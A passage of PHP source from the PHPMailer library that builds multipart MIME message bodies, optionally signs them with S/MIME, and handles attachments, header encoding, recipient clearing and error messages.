    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
